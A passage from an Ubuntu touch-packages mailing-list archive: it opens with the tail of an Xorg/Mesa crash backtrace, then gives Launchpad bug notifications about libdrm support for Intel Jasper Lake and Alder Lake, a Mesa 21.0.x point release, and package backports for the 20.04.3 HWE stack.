  /usr/lib/gdm3/gdm-x-session[1425]: (EE) 1: 
/lib/x86_64-linux-gnu/libpthread.so.0 (funlockfile+0x60) [0x7fae4786741f]
  /usr/lib/gdm3/gdm-x-session[1425]: (EE) 2: /lib/x86_64-linux-gnu/libc.so.6 
(gsignal+0xcb) [0x7fae476a418b]
  /usr/lib/gdm3/gdm-x-session[1425]: (EE) 3: /lib/x86_64-linux-gnu/libc.so.6 
(abort+0x12b) [0x7fae47683859]
  /usr/lib/gdm3/gdm-x-session[1425]: (EE) unw_get_proc_name failed: no unwind 
info found [-10]
  /usr/lib/gdm3/gdm-x-session[1425]: (EE) 4: 
/usr/lib/x86_64-linux-gnu/dri/iris_dri.so (?+0x0) [0x7fae457d7aec]
  /usr/lib/gdm3/gdm-x-session[1425]: (EE) 5: 
/usr/lib/x86_64-linux-gnu/dri/iris_dri.so (nouveau_drm_screen_create+0x25c8ec) 
[0x7fae46529c9c]
  /usr/lib/gdm3/gdm-x-session[1425]: (EE) 6: 
/usr/lib/x86_64-linux-gnu/dri/iris_dri.so 
(__driDriverGetExtensions_zink+0x2561d) [0x7fae4582c74d]
  /usr/lib/gdm3/gdm-x-session[1425]: (EE) 7: 
/usr/lib/xorg/modules/libglamoregl.so (glamor_destroy_pixmap+0x150) 
[0x7fae47007480]
  /usr/lib/gdm3/gdm-x-session[1425]: (EE) unw_get_proc_name failed: no unwind 
info found [-10]
  /usr/lib/gdm3/gdm-x-session[1425]: (EE) 8: 
/usr/lib/xorg/modules/drivers/modesetting_drv.so (?+0x0) [0x7fae47040a30]
  /usr/lib/gdm3/gdm-x-session[1425]: (EE) 9: /usr/lib/xorg/Xorg 
(BlockHandler+0xa5) [0x5619f38f0995]
  /usr/lib/gdm3/gdm-x-session[1425]: (EE) 10: /usr/lib/xorg/Xorg 
(WaitForSomething+0x122) [0x5619f3a46c12]
  /usr/lib/gdm3/gdm-x-session[1425]: (EE) 11: /usr/lib/xorg/Xorg 
(SendErrorToClient+0x117) [0x5619f38ebcf7]
  /usr/lib/gdm3/gdm-x-session[1425]: (EE) 12: /usr/lib/xorg/Xorg 
(InitFonts+0x3b4) [0x5619f38effc4]
  /usr/lib/gdm3/gdm-x-session[1425]: (EE) 13: /lib/x86_64-linux-gnu/libc.so.6 
(__libc_start_main+0xf3) [0x7fae476850b3]
  /usr/lib/gdm3/gdm-x-session[1425]: (EE) 14: /usr/lib/xorg/Xorg (_start+0x2e) 
[0x5619f38d9a2e]

  More info:
  I searched the Internet and got a bug with the same stacktrace:
  https://gitlab.freedesktop.org/mesa/mesa/-/issues/3468

To manage notifications about this bug go to:
https://bugs.launchpad.net/mesa/+bug/1918855/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1923880] Re: Add support for Intel Jasper Lake, Alder Lake

[Timo Aaltonen]

** Description changed:

+ [Impact]
+ 
  There is a new minor release available, which adds support for i915
  Jasper Lake (JSL) and Alder Lake S (ADL-S), among other things.
  
  With this added, JSL can boot hirsute with the native driver.
+ 
+ [Test case]
+ 
+ Boot on JSL/ADL hardware, check that the native drm/dri driver is used
+ (mesa support is already included).
+ 
+ [What could go wrong]
+ 
+ The worst case would be that the native driver would not be used anymore
+ with this version, but there's no chance for that.
+ 
+ --
  
  git shortlog since 2.4.104:
  
  6b4e956d299c6ff Bump version to 2.4.105
  1d13cc1032bf66f amdgpu: add function of INFO ioctl for querying video caps
  50c98335c7b4013 amdgpu: sync up amdgpu_drm.h with latest from kernel
  b362850689d1b00 xf86drmMode: set FB_MODIFIERS flag when modifiers are supplied
  a5a400c9581c3b9 tests/amdgpu: fix bo eviction test issue
  af871ec1a6f017b drm/tests/amdgpu: fix Metadata test failed issue
  6d821612d9a4bc4 xf86drmMode: introduce drmModeGetPropertyType
  f5abbc303361980 test/amdgpu: remove static varible in Syncobj test
  cd3681976c3bbef intel: Keep libdrm working without pread/pwrite ioctls
  52f05d3d896480e meson: use library() instead of shared_library().
  7d6a1759900ffde xf86drm: fix null pointer deref in drmGetBufInfo
  2e67fef5f6c5870 intel: Add support for JSL
  a9bb32cfe1ee87f xf86drm: cap number of reported devices by drmGetDevice(2)
  06844b6eaefb03c Revert "xf86drm: cap number of reported devices by 
drmGetDevice(2)"
  632f59fcbfc790a xf86drm: warn about GEM handle reference counting
  523b3658aa8efa7 xf86drmMode: add drmIsKMS
  1225171bd55f65d amdgpu_drm: sync up with the latest amdgpu_drm.h based on 
drm-next (https://cgit.freedesktop.org/drm/drm)
  3b6cfb20fb3b7dd intel: add INTEL_ADLS_IDS to the pciids list
  9086ff9dafa87f9 intel: sync i915_pciids.h with kernel
  869ef0e4b22b8ba amdgpu: update marketing names
  a43cac24db2876b Avoid some compiler errors for 
tests/util/pattern.c62b9a3eee9bdaaf
  8cb12a2528d795c xf86drm: cap number of reported devices by drmGetDevice(2)
  19f0a9cb878da5b tests/amdgpu/vcn: clean abundant codes
  2315bcddd643b4b tests/amdgpu: add vcn test support for dimgrey_cavefish
  10377d661a31c7a tests/amdgpu: add vcn test support for navy_flounder
  5f85a6d98baba1d tests/util: Add mxsfb-drm driver
  62b9a3eee9bdaaf meson: Also search for rst2man.py
  10dd3eb6d5ab6c1 Use dep_rt in amdgpu/meson.build
  
  diffstat:
-  amdgpu/amdgpu-symbols.txt|1 
-  amdgpu/amdgpu.h  |   17 +++
-  amdgpu/amdgpu_gpu_info.c |   15 ++
-  amdgpu/meson.build   |4 -
-  core-symbols.txt |1 
-  data/amdgpu.ids  |6 ++
-  etnaviv/meson.build  |2 
-  exynos/meson.build   |2 
-  freedreno/meson.build|2 
-  include/drm/amdgpu_drm.h |   51 +++---
-  intel/i915_pciids.h  |  177 
+++--
-  intel/intel_bufmgr_gem.c |   96 -
-  intel/intel_chipset.c|2 
-  intel/meson.build|2 
-  libkms/meson.build   |2 
-  meson.build  |6 +-
-  nouveau/meson.build  |2 
-  omap/meson.build |2 
-  radeon/meson.build   |2 
-  tegra/meson.build|2 
-  tests/amdgpu/amdgpu_test.c   |6 --
-  tests/amdgpu/basic_tests.c   |   13 +++--
-  tests/amdgpu/bo_tests.c  |4 -
-  tests/amdgpu/syncobj_tests.c |2 
-  tests/amdgpu/vcn_tests.c |6 +-
-  tests/util/kms.c |1 
-  tests/util/pattern.c |5 --
-  xf86drm.c|   11 
-  xf86drm.h|   18 +++
-  xf86drmMode.c|   14 +-
-  xf86drmMode.h|   12 +
-  31 files changed, 365 insertions(+), 121 deletions(-)
+  amdgpu/amdgpu-symbols.txt|1
+  amdgpu/amdgpu.h  |   17 +++
+  amdgpu/amdgpu_gpu_info.c |   15 ++
+  amdgpu/meson.build   |4 -
+  core-symbols.txt |1
+  data/amdgpu.ids  |6 ++
+  etnaviv/meson.build  |2
+  exynos/meson.build   |2
+  freedreno/meson.build|2
+  include/drm/amdgpu_drm.h |   51 +++---
+  intel/i915_pciids.h  |  177 
+++--
+  intel/intel_bufmgr_gem.c |   96 -
+  intel/intel_chipset.c|2
+  intel/meson.build|2
+  libkms/meson.build   |2
+  meson.build  |6 +-
+  nouveau/meson.build  |2
+  omap/meson.build |2
+  radeon/meson.build   |2
+  tegra/meson.build|2
+  tests/amdgpu/amdgpu_test.c   |6 --
+  tests/amdgpu/basic_tests.c   |   13 +++--
+  

[Touch-packages] [Bug 1923880] Re: Add support for Intel Jasper Lake, Alder Lake

[Timo Aaltonen]

** Summary changed:

- FFE: libdrm 2.4.105
+ Add support for Intel Jasper Lake, Alder Lake

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to libdrm in Ubuntu.
https://bugs.launchpad.net/bugs/1923880

Title:
  Add support for Intel Jasper Lake, Alder Lake

Status in libdrm package in Ubuntu:
  In Progress
Status in libdrm source package in Focal:
  In Progress
Status in libdrm source package in Hirsute:
  In Progress

Bug description:
  [Impact]

  There is a new minor release available, which adds support for i915
  Jasper Lake (JSL) and Alder Lake S (ADL-S), among other things.

  With this added, JSL can boot hirsute with the native driver.

  [Test case]

  Boot on JSL/ADL hardware, check that the native drm/dri driver is used
  (mesa support is already included).

  [What could go wrong]

  The worst case would be that the native driver would not be used
  anymore with this version, but there's no chance for that.

  --

  git shortlog since 2.4.104:

  6b4e956d299c6ff Bump version to 2.4.105
  1d13cc1032bf66f amdgpu: add function of INFO ioctl for querying video caps
  50c98335c7b4013 amdgpu: sync up amdgpu_drm.h with latest from kernel
  b362850689d1b00 xf86drmMode: set FB_MODIFIERS flag when modifiers are supplied
  a5a400c9581c3b9 tests/amdgpu: fix bo eviction test issue
  af871ec1a6f017b drm/tests/amdgpu: fix Metadata test failed issue
  6d821612d9a4bc4 xf86drmMode: introduce drmModeGetPropertyType
  f5abbc303361980 test/amdgpu: remove static varible in Syncobj test
  cd3681976c3bbef intel: Keep libdrm working without pread/pwrite ioctls
  52f05d3d896480e meson: use library() instead of shared_library().
  7d6a1759900ffde xf86drm: fix null pointer deref in drmGetBufInfo
  2e67fef5f6c5870 intel: Add support for JSL
  a9bb32cfe1ee87f xf86drm: cap number of reported devices by drmGetDevice(2)
  06844b6eaefb03c Revert "xf86drm: cap number of reported devices by 
drmGetDevice(2)"
  632f59fcbfc790a xf86drm: warn about GEM handle reference counting
  523b3658aa8efa7 xf86drmMode: add drmIsKMS
  1225171bd55f65d amdgpu_drm: sync up with the latest amdgpu_drm.h based on 
drm-next (https://cgit.freedesktop.org/drm/drm)
  3b6cfb20fb3b7dd intel: add INTEL_ADLS_IDS to the pciids list
  9086ff9dafa87f9 intel: sync i915_pciids.h with kernel
  869ef0e4b22b8ba amdgpu: update marketing names
  a43cac24db2876b Avoid some compiler errors for 
tests/util/pattern.c62b9a3eee9bdaaf
  8cb12a2528d795c xf86drm: cap number of reported devices by drmGetDevice(2)
  19f0a9cb878da5b tests/amdgpu/vcn: clean abundant codes
  2315bcddd643b4b tests/amdgpu: add vcn test support for dimgrey_cavefish
  10377d661a31c7a tests/amdgpu: add vcn test support for navy_flounder
  5f85a6d98baba1d tests/util: Add mxsfb-drm driver
  62b9a3eee9bdaaf meson: Also search for rst2man.py
  10dd3eb6d5ab6c1 Use dep_rt in amdgpu/meson.build

  diffstat:
   amdgpu/amdgpu-symbols.txt|1
   amdgpu/amdgpu.h  |   17 +++
   amdgpu/amdgpu_gpu_info.c |   15 ++
   amdgpu/meson.build   |4 -
   core-symbols.txt |1
   data/amdgpu.ids  |6 ++
   etnaviv/meson.build  |2
   exynos/meson.build   |2
   freedreno/meson.build|2
   include/drm/amdgpu_drm.h |   51 +++---
   intel/i915_pciids.h  |  177 
+++--
   intel/intel_bufmgr_gem.c |   96 -
   intel/intel_chipset.c|2
   intel/meson.build|2
   libkms/meson.build   |2
   meson.build  |6 +-
   nouveau/meson.build  |2
   omap/meson.build |2
   radeon/meson.build   |2
   tegra/meson.build|2
   tests/amdgpu/amdgpu_test.c   |6 --
   tests/amdgpu/basic_tests.c   |   13 +++--
   tests/amdgpu/bo_tests.c  |4 -
   tests/amdgpu/syncobj_tests.c |2
   tests/amdgpu/vcn_tests.c |6 +-
   tests/util/kms.c |1
   tests/util/pattern.c |5 --
   xf86drm.c|   11 
   xf86drm.h|   18 +++
   xf86drmMode.c|   14 +-
   xf86drmMode.h|   12 +
   31 files changed, 365 insertions(+), 121 deletions(-)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/libdrm/+bug/1923880/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1925434] [NEW] New bugfix release 21.0.x

[Timo Aaltonen]

Public bug reported:

[Impact]

This is the last point-release of the 21.0.x-series, we should put it in
hirsute so latest bugfixes would get there, and in focal for 20.04.3
image.

[Test case]

Install the updates, test desktop use and some basic games etc on at
least AMD and Intel hw.

[Where things could go wrong]

It's possible that some apps (like games) might regress on some hw, but
there should not be a big risk for more wider bugs appearing in this
update, since upstream and vendor (Intel) CI machinery have tested
these.

** Affects: mesa (Ubuntu)
 Importance: Undecided
 Assignee: Timo Aaltonen (tjaalton)
 Status: In Progress

** Affects: mesa (Ubuntu Focal)
 Importance: Undecided
 Assignee: Timo Aaltonen (tjaalton)
 Status: In Progress

** Affects: mesa (Ubuntu Hirsute)
 Importance: Undecided
 Assignee: Timo Aaltonen (tjaalton)
 Status: In Progress

** Also affects: mesa (Ubuntu Focal)
   Importance: Undecided
   Status: New

** Also affects: mesa (Ubuntu Hirsute)
   Importance: Undecided
   Status: New

** Changed in: mesa (Ubuntu Focal)
   Status: New => In Progress

** Changed in: mesa (Ubuntu Focal)
 Assignee: (unassigned) => Timo Aaltonen (tjaalton)

** Changed in: mesa (Ubuntu Hirsute)
   Status: New => In Progress

** Changed in: mesa (Ubuntu Hirsute)
 Assignee: (unassigned) => Timo Aaltonen (tjaalton)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to mesa in Ubuntu.
https://bugs.launchpad.net/bugs/1925434

Title:
  New bugfix release 21.0.x

Status in mesa package in Ubuntu:
  In Progress
Status in mesa source package in Focal:
  In Progress
Status in mesa source package in Hirsute:
  In Progress

Bug description:
  [Impact]

  This is the last point-release of the 21.0.x-series, we should put it
  in hirsute so latest bugfixes would get there, and in focal for
  20.04.3 image.

  [Test case]

  Install the updates, test desktop use and some basic games etc on at
  least AMD and Intel hw.

  [Where things could go wrong]

  It's possible that some apps (like games) might regress on some hw,
  but there should not be a big risk for more wider bugs appearing in
  this update, since upstream and vendor (Intel) CI machinery have
  tested these.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/mesa/+bug/1925434/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1925320] Re: Backport packages for 20.04.3 HWE stack

[Timo Aaltonen]

** Description changed:

- PLACEHOLDER
+ [Impact]
  
- migrate to building libclc from llvm?
+ These are needed for 20.04.3 images.
+ 
+ [Test case]
+ 
+ Boot a daily image, see that it still has the necessary stack installed
+ and working.
+ 
+ [What could go wrong]
+ 
+ directx-headers: a new package, nothing can go wrong
+ 
+ libdrm: adds some new api, no changes to old stuff
+ 
+ llvm-12: a new package, no regression potential on it's own
+ 
+ libclc: just a rebuild against the new llvm
+ 
+ mesa: a new major release, but we'll pull the final stable release of
+ 21.0.x series, so there shouldn't be any regressions left at that point
+ 
+ xserver: a new point-release, 1.20.x series is in deep maintenance mode,
+ so there should be little chance of breakage

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to libdrm in Ubuntu.
https://bugs.launchpad.net/bugs/1925320

Title:
  Backport packages for 20.04.3 HWE stack

Status in directx-headers package in Ubuntu:
  Invalid
Status in libdrm package in Ubuntu:
  Invalid
Status in llvm-toolchain-12 package in Ubuntu:
  Invalid
Status in mesa package in Ubuntu:
  Invalid
Status in xorg-server package in Ubuntu:
  Invalid
Status in directx-headers source package in Focal:
  New
Status in libdrm source package in Focal:
  New
Status in llvm-toolchain-12 source package in Focal:
  New
Status in mesa source package in Focal:
  New
Status in xorg-server source package in Focal:
  New

Bug description:
  [Impact]

  These are needed for 20.04.3 images.

  [Test case]

  Boot a daily image, see that it still has the necessary stack
  installed and working.

  [What could go wrong]

  directx-headers: a new package, nothing can go wrong

  libdrm: adds some new api, no changes to old stuff

  llvm-12: a new package, no regression potential on it's own

  libclc: just a rebuild against the new llvm

  mesa: a new major release, but we'll pull the final stable release of
  21.0.x series, so there shouldn't be any regressions left at that
  point

  xserver: a new point-release, 1.20.x series is in deep maintenance
  mode, so there should be little chance of breakage

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/directx-headers/+bug/1925320/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp